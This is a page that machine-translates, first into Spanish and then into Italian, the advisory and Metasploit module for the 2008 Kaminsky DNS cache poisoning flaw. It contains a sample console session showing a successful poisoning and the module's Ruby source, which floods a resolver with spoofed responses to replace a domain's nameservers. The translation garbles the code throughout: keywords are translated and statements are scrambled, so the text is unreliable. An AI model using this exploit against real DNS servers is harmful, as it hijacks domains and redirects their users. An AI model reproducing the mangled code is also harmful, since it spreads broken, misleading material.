9.4.1-9.4.2: Telecontrol, veneno, discernidor de imágenes, URL
de la hazaña de Metasploit: autor/
email de http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t: ) El
=========== de la descripción
del ======================
de ===============/==================================-
esta hazaña apunta un defecto bastante ubicuo en las puestas en práctica del DNS
que permiten la inserción de los expedientes malévolos del DNS en el escondrijo
del nameserver de la blanco. Esta hazaña deposita una sola entrada malévola
del nameserver en el nameserver de la blanco que substituye los nameservers
legítimos para el dominio de la blanco. Haciendo el nameserver de la blanco
preguntar para los hostnames al azar en el dominio de la blanco, el spoof de la poder del atacante
una respuesta al servidor de la blanco incluyendo una respuesta para la pregunta,
un expediente del servidor de la autoridad, y un expediente adicional para ese servidor,
haciendo el nameserver de la blanco insertar el expediente adicional en
el escondrijo. Esta inserción substituye totalmente los expedientes originales
del nameserver para el dominio de la blanco.
##
del ###
del #### del ####
del #### del ## del ##### del #####
del ### del #### del ## del ## del ## del ## del ## del ## del ## del #####
del ## del ## del ## del ## del ## del ## de # del ## del ## del ## del ## del ## del ##
del ## del ## del #### del ##### del ## del ###### del ####### del ## del ### del ## del ## del ##
del ## del ## del ## del ## del ## del ## del ## del ####### del ###### del #### del ## del ##### del ##### del ####
del ###### del #### del ## del ## del ## del ## del ### del ## de # /msf3/msfconsole del =======
del ejemplo
= [msf v3.2-release
+ -- --= [298 hazañas - 124 cargas útiles
+ -- --= [18 codificadores - 6 nops
= [el auxiliar/
spoof/auxiliar del msf del dns del msf aux. 73 > del uso
/del bailiwicked_domain (bailiwicked_domain) > fijó a auxiliar del msf
del => A.B.C.D de RHOST
A.B.C.D RHOST (bailiwicked_domain) > fijó a auxiliar del msf
de example.com del => del DOMINIO
de example.com del DOMINIO (bailiwicked_domain) > fijó a auxiliar del msf
de dns01.metasploit.com del => de NEWDNS
dns01.metasploit.com NEWDNS (bailiwicked_domain) > fijó a auxiliar del msf
del => 0 de SRCPORT
0 SRCPORT (bailiwicked_domain) > el cheque
[*] que usaba el servicio de Metasploit para verificar exploitability…
[*] >> DIRECCIÓN: PUERTO DE A.B.C.D: 50391
[*] >> DIRECCIÓN: PUERTO DE A.B.C.D: 50391
[*] >> DIRECCIÓN: PUERTO DE A.B.C.D: 50391
[*] >> DIRECCIÓN: PUERTO DE A.B.C.D: 50391
[*] >> DIRECCIÓN: PUERTO DE A.B.C.D: [
*] FALL 50391: Este servidor utiliza puertos estáticos de la fuente y es vulnerable al auxiliar
del msf del envenenamiento (bailiwicked_domain) > el empuje +short - exec de t ns example.com
@A.B.C.D [*]: empuje +short - t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
el auxiliar del msf (bailiwicked_domain) > funciona
[*] la conmutación para apuntar el puerto 50391 basado en el servicio de Metasploit
[*] que apunta el nameserver A.B.C.D para la inyección de example.com. nameservers como dns01.metasploit.com
[*] que pregunta el nameserver renovado para example.com. 'nameservers de s…
[*] consiguió un expediente del NS: example.com. 171957 EN NS b.iana-servers.net.
[*] preguntando el nameserver renovado para la dirección de b.iana-servers.net….
[*] consiguió un expediente de A: b.iana-servers.net. 171028 EN A 193.0.0.236
[*] que comprueba Authoritativeness: Preguntando 193.0.0.236 para example.com….
[*] b.iana-servers.net. es autoritario para example.com. , agregando a la lista de nameservers al spoof según lo
[*] conseguido un expediente del NS: example.com. 171957 EN NS a.iana-servers.net.
[*] preguntando el nameserver renovado para la dirección de a.iana-servers.net….
[*] consiguió un expediente de A: a.iana-servers.net. 171414 EN A 192.0.34.43
[*] que comprueba Authoritativeness: Preguntando 192.0.34.43 para example.com….
[*] a.iana-servers.net. es autoritario para example.com. , agregando a la lista de nameservers al spoof como
[*] procurando inyectar los expedientes del veneno para example.com. 'nameservers de s en A.B.C.D: 50391…
[*] enviado 1000 preguntas y 20000 spoofed respuestas…
[*] enviado 2000 preguntas y 40000 spoofed respuestas…
[*] enviado 3000 preguntas y 60000 spoofed respuestas…
[*] enviado 4000 preguntas y 80000 spoofed respuestas…
[*] enviado 5000 preguntas y 100000 spoofed respuestas…
[*] enviado 6000 preguntas y 120000 spoofed respuestas…
[*] enviado 7000 preguntas y 140000 spoofed respuestas…
[*] enviado 8000 preguntas y 160000 spoofed respuestas…
[*] enviado 9000 preguntas y 180000 spoofed respuestas…
[*] enviado 10000 preguntas y 200000 spoofed respuestas…
[*] enviado 11000 preguntas y 220000 spoofed respuestas…
[*] enviado 12000 preguntas y 240000 spoofed respuestas…
[*] enviado 13000 preguntas y 260000 spoofed respuestas…
[*] envenenamiento acertado después de 13250 tentativas: example.com. la ejecución auxiliar
del módulo de dns01.metasploit.com del == [*] terminó
a auxiliar del msf (bailiwicked_domain) > el empuje +short - exec de t ns example.com
@A.B.C.D [*]: empuje +short - t ns example.com @A.B.C.D
dns01.metasploit.com.
El =======
Dan
Kaminsky de los créditos se acredita con originalmente descubrir esta vulnerabilidad.
¡El calculado hacia fuera el método de la inyección del NS y
estaba bastante fresco al email nosotros y parte!
Las referencias que
el ==========
2008-1447 de http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE--
http://www.kb.cert.org/vuls/id/800113
Metasploit
del ==========
requiere “msf/base”
requieren la “red/dns”
requieren “scruby”
requieren a auxiliar de la clase de Msf
del módulo del “
resolv”:: Spoof: ns:: BailiWickedDomain < Msf:: El auxiliar
incluye hazaña:: Telecontrol:: El def
del IP inicializa (Info = {})
estupendo (el update_info (Info,
el => %q de la “descripción”” del => “del “nombre ataque
del dominio del DNS BailiWicked”, {
esta hazaña ataca un defecto bastante ubicuo en las puestas en práctica del DNS que
Dan Kaminsky encontró y divulgó el ~ el Jul de 2008. Esta hazaña substituye las entradas
del nameserver de los dominios de la blanco en un servidor vulnerable del escondrijo del DNS. Este ataque trabaja
enviando preguntas al azar del hostname al servidor del DNS de la blanco juntado con spoofed
contestaciones a esas preguntas de los nameservers autoritarios para ese dominio.
Eventual, una identificación conjeturada emparejará, spoofed el paquete conseguirá aceptado, y
las entradas del nameserver para el dominio de la blanco serán substituidas por el servidor
especificado en la opción de NEWDNS de esta hazaña.
¡},
el “autor ruid”
del =>
[“I)”, “hdm”,
el
del blanqueador de # “Cedric [en] rstack.org>” # Cedric calculó hacia fuera el método # de la inyección
del NS y estaba bastante fresco al email nosotros y parte!
#
],
“licencia” => MSF_LICENSE,
“versión” => '$Revision: 5591 $ ',
de las “referencias” =>
[
[“CVE”, “2008-1447”],
[“US-CERT-VU”, “8000113”],
[“URL”, “del xt de http://www.caughq.org/exploits/CAU-EX-2008-0003.t-”],
],
=> el “21 Jul de 2008” de “DisclosureDate”
))
register_options (
[
OptPort.new (“SRCPORT”, [verdad, “el puerto de la pregunta de la fuente del servidor de la blanco (0 para automático)”, nada]),
OptString.new (“DOMINIO”, [verdad, “el dominio al secuestro”, “example.com”]),
OptString.new (“NEWDNS”, [verdad, “el hostname del servidor del DNS del reemplazo”, nada]),
OptAddress.new (“RECONS”, [verdad, “Nameserver usado para el reconocimiento”, “208.67.222.222”]),
OptInt.new (“XIDS”, [verdad, “número de XIDs para intentar para cada pregunta”, 10]),
OptInt.new (“TTL”, [verdad, “TTL para la entrada malévola del NS”, 31337]),
], targ del cmd_check
del def
del extremo de la vuelta
de los auxiliary_commands del def del extremo de self.class) {” el => “del “cheque se determina si el servidor especificado del DNS (RHOST)
es
vulnerable”} (*args
) = args [0] || rhost ()
si (no (targ y targ.length > 0))
print_status (“uso: print_status de vuelta del final del cheque [
dns-servidor
]
“(“con el servicio de Metasploit para verificar srv_sock = Rex
del exploitability…”:: Los puertos al azar
= falsos de Socket.create_udp (targ del =>
de “PeerHost”, =>
53
de “PeerPort”
) = []
lport = la nada
1.upto (5) |i|
req = Resolv: NS:: El txt
de Message.new = “spoofprobe-comprueba-# {i} - # {$$} # {(rand () *1000000-) .to_i} .red.metasploit.com”
req.add_question (txt, Resolv: NS:: Recurso:: EN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
si res y res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |nombre, TTL, datos|
si (txt del == de name.to_s y =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
red.metasploit.com/m), t_port = $1.split (“: ”)
print_status (“>> DIRECCIÓN: PUERTO de # {t_addr}: ¡t_port de # {t_port}
“= t_port.to_i
si (lport y lport! = el lport del t_port
) el t_port al azar
=
verdaderos del extremo =
vira hacia el lado de babor << el extremo
srv_sock.close
del extremo
del extremo
del extremo
del t_port
si (ports.length < 5)
print_status (“DESCONOCIDO: Este servidor no contestó a nuestras peticiones " extremo de vuelta
del cheque
de la vulnerabilidad
si print_status (al azar
) (“PASO: Este servidor no utiliza un puerto estático de la fuente. Puertos: # {ports.join (“,”} “
print_status (“este servidor puede todavía ser explotable, pero no por esta herramienta. ”
print_status
otro (“FALL: Este servidor utiliza puertos estáticos de la fuente y es vulnerable blanco del funcionamiento
del def
del extremo
del extremo del envenenamiento
" = fuente = Rex
del rhost ():: Deporte de Socket.source_address (blanco
) = dominio del datastore [“SRCPORT”
] = datastore [“DOMINIO”] + “. ”
newdns = recons del datastore [“NEWDNS”
] = xids del datastore [“RECONS”
] = newttl del datastore [“XIDS”]
.to_i = xidbase del datastore [“TTL”]
.to_i = dirección 20000 = Rex del rand (
20001) +:: Text.rand_text (4) .unpack (“C4” .join (”. “
srv_sock = Rex:: Socket.create_udp (
blanco del => de “PeerHost”,
=> 53 de “PeerPort”
)
# consiguen el puerto de la fuente vía el servicio del metasploit si no se fijan
si req = Resolv
del == 0 de sport.to_i: NS:: Txt
de Message.new = “spoofprobe-# {$$} # {(rand () *1000000) .to_i} .red- .metasploit.com”
req.add_question (txt, Resolv: NS:: Recurso:: EN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
si res y res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |nombre, TTL, datos|
si (txt del == de name.to_s y =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
red.metasploit.com/m), t_port = $1.split (“: ¡”)
deporte = print_status
de t_port.to_i (“cambiando a la blanco el puerto # {deporte} basado en el servicio de Metasploit”
si blanco! = print_status
del t_addr (“advirtiendo: ¡la dirección # {blanco} de la blanco no es la dirección # {t_addr} de la fuente de la pregunta igual que de los nameserver! “
el extremo
#
del extremo
del extremo
del extremo
del extremo verifica que su envenenado no ya
comience
la pregunta = Resolv: NS:: Message.new
query.add_question (dominio, Resolv: NS:: Recurso:: EN:: El NS)
query.rd = 0
comienza
depositado = respuesta
falsa, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
si respuesta y answer.length > 0
respuestas = Resolv: NS:: Message.decode (respuesta)
answer.each_answer |nombre, TTL, datos|
si ((name.to_s + “.” dominio del == y newdns del == de data.name.to_s)
t = Time.now + print_status
de la TTL (“falta: Este dominio está utilizando ya # {newdns} pues print_status de un nameserver
" (“la entrada del escondrijo expira en extremo del extremo del extremo del extremo de la vuelta
del disconnect_ip
de srv_sock.close
de #
{
t.to_s
}
” hasta que rescate
no depositado:: ¡Aumento
$ de la interrupción!
rescate:: Print_status del => e
de la excepción (“repaso de las faltas el nombre del DNS: extremo de # # {e.class} {e} # {e.backtrace}
“
res0 = red: NS:: Resolver.new (: => de los nameservers [recons], => del ns_search falso: print_status verdadero del discernidor de imágenes del reconocimiento de # del => recurrente
) el “que apunta nameserver # {blanco} para la inyección de los nameservers de # {dominio} mientras que # {newdns}”
# mira para arriba los nameservers para el print_status
del dominio el “que pregunta nameserver renovado para # {dominio} 'nameservers de s…”
answer0 = res0.send (dominio, red: NS:: Lengüetas de las autoridades
de # del #print_status del NS) “consiguió respuesta con las respuestas de # {answer0.header.anCount}, {answer0.header.nsCount}
” = [] almacenaje de # para los nameservers que
answer0.answer.each hacen |rr0|
el print_status “consiguió un expediente de # {rr0.type}: # {rr0.inspect} “
si respuesta conseguida del #print_status del hostname
“del NS el” del == de rr0.type print_status “que pregunta el nameserver renovado para la dirección de #
{rr0.nsdname}…” answer1 = res0.send (rr0.nsdname) # consigue la respuesta
del ns para “con respuestas de # {answer1.header.anCount}, las autoridades” answer1.answer.each de # {answer1.header.nsCount
} hace |rr1|
el print_status “consiguió un expediente de # {rr1.type}: # {rr1.inspect} “
res2 = red: NS:: Resolver.new (: => rr1.address, => de los nameservers del ns_search falso: => recurrente falso: print_status del => 1 de la recomprobación
) “que comprueba Authoritativeness: ¿Preguntando # {rr1.address} para # {dominio}… “
answer2 = res2.send (dominio)
si answer2 y answer2.header.auth? y nsrec del >= 1
de answer2.header.anCount = {: => conocido rr0.nsdname: las lengüetas del => rr1.address del addr
} << el print_status
“# {rr0.nsdname} del nsrec es autoritarios para # {dominio}, agregando a la lista de nameservers al spoof como”
extremo
del extremo
del extremo
del extremo
si print_status del == 0
de barbs.length (“ningunos servidores del DNS encontrados. ”
la inundación
de #
del extremo
de la vuelta
del disconnect_ip de srv_sock.close la blanco con preguntas y spoofed las respuestas, una golpeará eventual
preguntas = las respuestas
0 = 0
print_status del ip_sock del connect_ip
si no (“procurando inyectar los expedientes del veneno para nameservers de s de # {dominio} 'en # {blanco}: # {deporte}…”
mientras que randhost
= Rex verdaderos:: Text.rand_text_alphanumeric (12) + “.” + el dominio # selecciona al azar el hostname
# envía spoofed el req
= Resolv de la pregunta: NS:: Message.new
req.id = rand (2 ** 16)
req.add_question (randhost, Resolv: NS:: Recurso:: EN:: A)
req.rd = 1
de color de ante = (
Scruby:: IP.new (
#: lengüetas del => del src [0] [: addr] .to_s
: fuente del => del src,
blanco del => del st,
=> 17)
/Scruby del roto:: UDP.new (
: el => del deporte (rand ((2 el ** 16) - 1024) +1024) .to_i,
preguntas portuarias del =>
53)
/req.encode)
.to_net ip_sock.sendto (piel de ante, blanco
) que += 1
# envían mal spoofed respuesta de TODOS LOS nameservers (lengüetas [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Recurso:: EN:: A.new (dirección))
req.add_authority (dominio, newttl, Resolv: NS:: Recurso:: EN:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Recurso:: EN:: A.new (dirección)) # no hecho caso
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) |identificación|
req.id = la identificación
barbs.each |lengüeta|
piel de ante = (
Scruby:: IP.new (
#: lengüetas del => del src [: addr] .to_s
: lengüeta del => del src [: addr] .to_s,
blanco del => del st,
=> 17)
/Scruby del roto:: UDP.new (
: el => 53, actualización
portuaria del estado de #
del extremo del extremo
de las respuestas +=
1 del => sport.to_i) /req.encode)
.to_net ip_sock.sendto (
piel de ante
,
blanco) si
% del print_status 1000 del == 0 de las preguntas
(“envió preguntas de # {preguntas} y # {respuestas} spoofed el extremo # de las respuestas…
”
cada tan a menudo, cheque del deporte y considera si se envenena la blanco…
si del == 0 de las preguntas % 250
comienzan
pregunta = Resolv: NS:: Message.new
query.add_question (dominio, Resolv: NS:: Recurso:: EN:: NS)
query.rd = 0
respuestas, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
si respuesta y answer.length > 0
respuestas = Resolv: NS:: Message.decode (respuesta)
answer.each_answer |nombre, TTL, datos|
si ((name.to_s + “.” dominio del == y print_status de los newdns del == de data.name.to_s
) (el “envenenamiento acertado después de # {preguntas} procura: rescate del final del extremo del extremo de la vuelta del disconnect_ip de srv_sock.close de # del == de #
{
dominio
}
{
newdns
}
“:: ¡Aumento
$ de la interrupción!
rescate:: Print_status del => e
de la excepción (“error que pregunta el nombre del DNS: extremo del extremo del extremo del extremo del extremo del extremo de # # {e.class} {e
}
#
{
e.backtrace
}
“
codice di attacco del luglio 2008 del difetto di dns
Automatically translated into Italian thanks to WorldLingo
del code de lattaque del sur del le dns (= faille dns) dell'en di juillet 2008
_ del __
// | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Identificazione
sotterranea accademica di impresa
del ======================
di codice ===============/==================================-
di impresa di http://www.caughq.org
del calcolatore di ______/: Data
di emissione CAU-EX-2008-0003: 2008.07.23
Titolo: descrizione
di bailiwicked_domain.rb: Impresa del difetto di avvelenamento del nascondiglio di Kaminsky DNS per i dominii
esaminati: Attributi di LEGATURA
9.4.1-9.4.2: Ripresa esterna, veleno, Resolver, URL
di impresa di Metasploit: autore/
email di http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t: ) Il
=========== di descrizione
del ======================
di ===============/==================================-
questa impresa designa un difetto come bersaglio ragionevolmente ubiquista nelle esecuzioni di DNS
che permettono l'inserzione delle annotazioni cattive di DNS nel nascondiglio
del nameserver dell'obiettivo. Questa impresa nasconde una singola entrata cattiva
del nameserver nel nameserver dell'obiettivo che sostituisce i nameservers
legittimi per il dominio dell'obiettivo. Inducendo il nameserver dell'obiettivo
ad interrogare per i hostnames casuali al dominio dell'obiettivo, allo spoof della latta del attacker
una risposta all'assistente dell'obiettivo compreso una risposta per la domanda,
ad un'annotazione dell'assistente di autorità e ad un'annotazione supplementare per quell'assistente,
inducente il nameserver dell'obiettivo ad inserire l'annotazione supplementare
nel nascondiglio. Questa inserzione completamente sostituisce le annotazioni originali
del nameserver per il dominio dell'obiettivo.
##
del ###
del #### del ####
del #### del ## del ##### del #####
del ### del #### del ## del ## del ## del ## del ## del ## del ## del #####
del ## del ## del ## del ## del ## del ## del # del ## del ## del ## del ## del ## del ##
del ## del ## del #### del ##### del ## del ###### del ####### del ## del ### del ## del ## del ##
del ## del ## del ## del ## del ## del ## del ## del ####### del ###### del #### del ## del ##### del ##### del ####
del ###### del #### del ## del ## del ## del ## del ### del ## del # /msf3/msfconsole del =======
di esempio
= [msf v3.2-release
+ -- --= [298 imprese - 124 carichi utili
+ -- --= [18 codificatori - 6 nops
= [l'aiutante/
spoof/aiutante msf bailiwicked_domain/di dns del msf aus. 73
> di uso (bailiwicked_domain) > ha regolato l'aiutante del msf
del => A.B.C.D di RHOST
A.B.C.D RHOST (bailiwicked_domain) > ha regolato l'aiutante del msf
di example.com del => di DOMINIO
di example.com di DOMINIO (bailiwicked_domain) > ha regolato l'aiutante del msf
di dns01.metasploit.com del => di NEWDNS
dns01.metasploit.com NEWDNS (bailiwicked_domain) > ha regolato l'aiutante del msf
del => 0 di SRCPORT
0 SRCPORT (bailiwicked_domain) > il controllo
[*] che usando il servizio di Metasploit per verificare il exploitability…
[*] >> INDIRIZZO: ORIFICIO DI A.B.C.D: 50391
[*] >> INDIRIZZO: ORIFICIO DI A.B.C.D: 50391
[*] >> INDIRIZZO: ORIFICIO DI A.B.C.D: 50391
[*] >> INDIRIZZO: ORIFICIO DI A.B.C.D: 50391
[*] >> INDIRIZZO: ORIFICIO DI A.B.C.D: [
*] VENIRE A MANCARE 50391: Questo assistente usa gli orificii statici di fonte ed è vulnerabile all'aiutante
del msf di avvelenamento (bailiwicked_domain) > vangata +short - exec di t NS example.com
@A.B.C.D [*]: vangata +short - t NS example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
l'aiutante del msf (bailiwicked_domain) > fa funzionare
[*] la commutazione per designare l'orificio come bersaglio 50391 basato su servizio di Metasploit
[*] che designa il nameserver come bersaglio A.B.C.D per l'iniezione di example.com. nameservers come dns01.metasploit.com
[*] che interroga nameserver ricondizionato per example.com. 'nameservers di s…
[*] ha ottenuto un'annotazione di NS: example.com. 171957 IN NS b.iana-servers.net.
[*] interrogando nameserver ricondizionato per l'indirizzo di b.iana-servers.net….
[*] ha ottenuto un'annotazione di A: b.iana-servers.net. 171028 in A 193.0.0.236
[*] che controlla Authoritativeness: Interrogando 193.0.0.236 per example.com….
[*] b.iana-servers.net. è autorevole per example.com. , aggiungendo alla lista dei nameservers allo spoof come
[*] ottenuto un'annotazione di NS: example.com. 171957 IN NS a.iana-servers.net.
[*] interrogando nameserver ricondizionato per l'indirizzo di a.iana-servers.net….
[*] ha ottenuto un'annotazione di A: a.iana-servers.net. 171414 in A 192.0.34.43
[*] che controlla Authoritativeness: Interrogando 192.0.34.43 per example.com….
[*] a.iana-servers.net. è autorevole per example.com. , aggiungendo alla lista dei nameservers allo spoof come
[*] tentando di iniettare le annotazioni del veleno per example.com. 'nameservers di s in A.B.C.D: 50391…
[*] trasmesso a 1000 domande e 20000 spoofed le risposte…
[*] trasmesso a 2000 domande e a 40000 spoofed le risposte…
[*] trasmesso a 3000 domande e 60000 spoofed le risposte…
[*] trasmesso a 4000 domande e 80000 spoofed le risposte…
[*] trasmesso a 5000 domande e 100000 spoofed le risposte…
[*] trasmesso a 6000 domande e 120000 spoofed le risposte…
[*] trasmesso a 7000 domande e 140000 spoofed le risposte…
[*] trasmesso a 8000 domande e 160000 spoofed le risposte…
[*] trasmesso a 9000 domande e 180000 spoofed le risposte…
[*] trasmesso a 10000 domande e 200000 spoofed le risposte…
[*] trasmesso a 11000 domande e 220000 spoofed le risposte…
[*] trasmesso a 12000 domande e 240000 spoofed le risposte…
[*] trasmesso a 13000 domande e 260000 spoofed le risposte…
[*] avvelenare riuscito dopo 13250 tentativi: example.com. l'esecuzione ausiliaria
del modulo di dns01.metasploit.com del == [*] ha completato
l'aiutante del msf (bailiwicked_domain) > vangata +short - exec di t NS example.com
@A.B.C.D [*]: vangata +short - t NS example.com @A.B.C.D
dns01.metasploit.com.
Il =======
Dan
Kaminsky di accreditamenti è accreditato originalmente la scoperta della questa vulnerabilità.
Il ha calcolato fuori il metodo dell'iniezione di NS ed
era abbastanza freddo al email noi e parte!
I riferimenti
il ==========
2008-1447 di http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE--
http://www.kb.cert.org/vuls/id/800113
Metasploit che
del ==========
richiede “msf/nucleo„
richiedono “rete/dns„
richiedono “scruby„
richiedono l'aiutante del codice categoria di Msf
del modulo “
del resolv„:: Spoof: NS:: BailiWickedDomain < Msf:: L'aiutante
include l'impresa:: Ripresa esterna:: Il def
del IP inizializza (Info = {})
eccellente (update_info (Info,
=> %q “di descrizione„„ del => ““di nome attacco
di dominio di DNS BailiWicked„, {
questa impresa attaca un difetto ragionevolmente ubiquista nelle esecuzioni di DNS che
Dan Kaminsky ha trovato e rilevato il ~ il lug. 2008. Questa impresa sostituisce le entrate
del nameserver di dominii dell'obiettivo in un assistente vulnerabile del nascondiglio di DNS. Questo attacco funziona
trasmettendo le domande casuali del hostname all'assistente di DNS dell'obiettivo accoppiato con spoofed
le risposte a quelle domande dai nameservers autorevoli per quel dominio.
Finalmente, un'identificazione indovinata abbinerà, spoofed il pacchetto otterrà accettato e
le entrate del nameserver per il dominio dell'obiettivo saranno sostituite dall'assistente
specificato nell'opzione di NEWDNS di questa impresa.
},
“l'autore„ ruid
del =>
[“I)„, “hdm„,
dell'imbiancatore del # “Cedric [a] rstack.org>„ il # Cedric ha calcolato fuori il metodo # dell'iniezione
di NS ed era abbastanza freddo al email noi e parte!
#
],
“autorizzazione„ => MSF_LICENSE,
“versione„ => '$Revision: 5591 $ ',
“di riferimenti„ =>
[
[“CVE„, “2008-1447„],
[“US-CERT-VU„, “8000113„],
[“URL„, “del xt di http://www.caughq.org/exploits/CAU-EX-2008-0003.t-„],
],
=> “il 21 lug. 2008„ “di DisclosureDate„
))
register_options (
[
OptPort.new (“SRCPORT„, [allineare, “l'orificio di domanda di fonte dell'assistente dell'obiettivo (0 per automatico)„, zero]),
OptString.new (“DOMINIO„, [allineare, “il dominio al dirottamento„, “example.com„]),
OptString.new (“NEWDNS„, [allineare, “il hostname dell'assistente di DNS del rimontaggio„, zero]),
OptAddress.new (“RECONS„, [allineare, “Nameserver usato per il reconnaissance„, “208.67.222.222„]),
OptInt.new (“XIDS„, [allineare, “il numero di XIDs per provare per ogni domanda„, 10]),
OptInt.new (“TTL„, [allineare, “TTL per l'entrata cattiva di NS„, 31337]),
], targ del cmd_check
del def
dell'estremità di ritorno
dei auxiliary_commands del def dell'estremità di self.class) {„ il => ““del controllo determina se l'assistente specificato di DNS (RHOST)
è
vulnerabile„} (*args
) = args [0] || rhost ()
se (non (targ e targ.length > 0))
print_status (“uso: print_status di ritorno di conclusione del controllo [
dns-assistente
]
“(“usando il servizio di Metasploit per verificare srv_sock = Rex
di exploitability…„:: Gli orificii casuali
= falsi di Socket.create_udp (targ del =>
“di PeerHost„, =>
53
“di PeerPort„
) = []
lport = zero
1.upto (5) |i|
req = Resolv: NS:: Il txt
di Message.new = “spoofprobe-controlla-# {i} - # {$$} il # {(bordo () *1000000-) .to_i} .red.metasploit.com„
req.add_question (txt, Resolv: NS:: Risorsa:: IN:: TXT)
req.rd = 1
ricerca di srv_sock.put (req.encode
), addr = srv_sock.recvfrom ()
se ricerca e res.length > 0
ricerca = Resolv: NS:: Message.decode (ricerca)
res.each_answer |nome, TTL, dati|
se (txt del == di name.to_s e =~/^ di data.strings.join ('') ([^s] +) t_addr di s+.*
red.metasploit.com/m), t_port = $1.split (“: „)
print_status (“>> INDIRIZZO: ORIFICIO del # {t_addr}: t_port del # {t_port}
“= t_port.to_i
se (lport e lport! = il lport del t_port
) il t_port casuali
=
veri dell'estremità =
ports << estremità
srv_sock.close
dell'estremità
dell'estremità
dell'estremità
del t_port
se (ports.length < 5)
print_status (“SCONOSCIUTO: Questo assistente non ha risposto alle nostre richieste " estremità di ritorno
del controllo
di vulnerabilità
se print_status (casuale
) (“PASSAGGIO: Questo assistente non usa un orificio statico di fonte. Orificii: # {ports.join (“,„} “
print_status (“questo assistente può ancora essere utilizzabile, ma non da questo attrezzo. „
print_status
altro (“VENIRE A MANCARE: Questo assistente usa gli orificii statici di fonte ed è vulnerabile arrivo di funzionamento
del def
dell'estremità
dell'estremità ad avvelenamento
" = partenza = Rex
del rhost ():: Sport di Socket.source_address (obiettivo
) = dominio del datastore [“SRCPORT„
] = datastore [“DOMINIO„] + “. „
newdns = recons del datastore [“NEWDNS„
] = xids del datastore [“RECONS„
] = newttl del datastore [“XIDS„]
.to_i = xidbase del datastore [“TTL„]
.to_i = indirizzo 20000 = Rex del bordo (
20001) +:: Text.rand_text (4) .unpack (“C4„ .join („. “
srv_sock = Rex:: Socket.create_udp (
obiettivo del => “di PeerHost„,
=> 53 “di PeerPort„
)
# ottengono l'orificio di fonte via il servizio del metasploit se non sono regolati
se req = Resolv
del == 0 di sport.to_i: NS:: Txt
di Message.new = “spoofprobe-# {$$} # {(bordo () *1000000) .to_i} .red- .metasploit.com„
req.add_question (txt, Resolv: NS:: Risorsa:: IN:: TXT)
req.rd = 1
ricerca di srv_sock.put (req.encode
), addr = srv_sock.recvfrom ()
se ricerca e res.length > 0
ricerca = Resolv: NS:: Message.decode (ricerca)
res.each_answer |nome, TTL, dati|
se (txt del == di name.to_s e =~/^ di data.strings.join ('') ([^s] +) t_addr di s+.*
red.metasploit.com/m), t_port = $1.split (“: „)
sport = print_status
di t_port.to_i (“commutando all'obiettivo orificio # {sport} basato su servizio di Metasploit„
se obiettivo! = print_status
del t_addr (“avvertendo: l'indirizzo il # {obiettivo} dell'obiettivo non è l'indirizzo il # {t_addr} di fonte di domanda lo stesso come dei nameserver! “
l'estremità
#
dell'estremità
dell'estremità
dell'estremità
dell'estremità verifica che relativo non già avvelenato
cominci
la domanda = Resolv: NS:: Message.new
query.add_question (dominio, Resolv: NS:: Risorsa:: IN:: Il NS)
query.rd = 0
comincia
nascosto = risposta
falsa, addr =
srv_sock.recvfrom di srv_sock.put (query.encode) ()
se risposta e answer.length > 0
risposta = Resolv: NS:: Message.decode (risposta)
answer.each_answer |nome, TTL, dati|
se ((name.to_s + “.„ dominio del == e newdns del == di data.name.to_s)
t = Time.now + print_status
della TTL (“guasto: Questo dominio già sta usando il # {newdns} poichè print_status del nameserver
" (“l'entrata del nascondiglio espira estremità dell'estremità dell'estremità dell'estremità di ritorno
del disconnect_ip
di srv_sock.close
sul #
{
t.to_s
}
„ fino a che salvataggio
non nascosto:: Aumento
$ di interruzione!
salvataggio:: Print_status del => e
di eccezione (“verifica degli errori il nome di DNS: # {e.class} estremità del # {e} # {e.backtrace}
“
res0 = rete: NS:: Resolver.new (: => di nameservers [recons], => del ns_search falso: print_status allineare del resolver di reconnaissance del # del => ricorsivo
) “che designa nameserver come bersaglio # {obiettivo} per l'iniezione dei nameservers del # {dominio} mentre il # {newdns}„
# osserva in su i nameservers per il print_status
di dominio “che interroga il nameserver ricondizionato per il # {dominio} 'nameservers di s…„
answer0 = res0.send (dominio, rete: NS:: Sbavature di autorità
del # di #print_status di NS) “ha ottenuto la risposta con le risposte del # {answer0.header.anCount}, {answer0.header.nsCount}
„ = [] immagazzinaggio del # per i nameservers che
answer0.answer.each fanno |rr0|
il print_status “ha ottenuto un'annotazione del # {rr0.type}: il # {rr0.inspect} “
se risposta ottenuta di #print_status del hostname
“di NS„ del == di rr0.type il print_status “che interroga il nameserver ricondizionato per l'indirizzo del #
{rr0.nsdname}…„ answer1 = res0.send (rr0.nsdname) # ottiene la risposta
del NS per “con le risposte del # {answer1.header.anCount}, autorità„ answer1.answer.each del # {answer1.header.nsCount
} fa |rr1|
il print_status “ha ottenuto un'annotazione del # {rr1.type}: # {rr1.inspect} “
res2 = rete: NS:: Resolver.new (: => rr1.address, => di nameservers del ns_search falso: => ricorsivo falso: print_status del => 1 di altra prova
) “che controlla Authoritativeness: Interrogando # {rr1.address} per il # {dominio}… “
answer2 = res2.send (dominio)
se answer2 e answer2.header.auth? e nsrec del >= 1
di answer2.header.anCount = {: => nome rr0.nsdname: le sbavature del => rr1.address del addr
} << il print_status
“il # {rr0.nsdname} del nsrec è autorevoli per il # {dominio}, aggiungendo alla lista dei nameservers allo spoof come„
estremità
dell'estremità
dell'estremità
dell'estremità
se print_status del == 0
di barbs.length (“nessun assistenti di DNS trovati. „
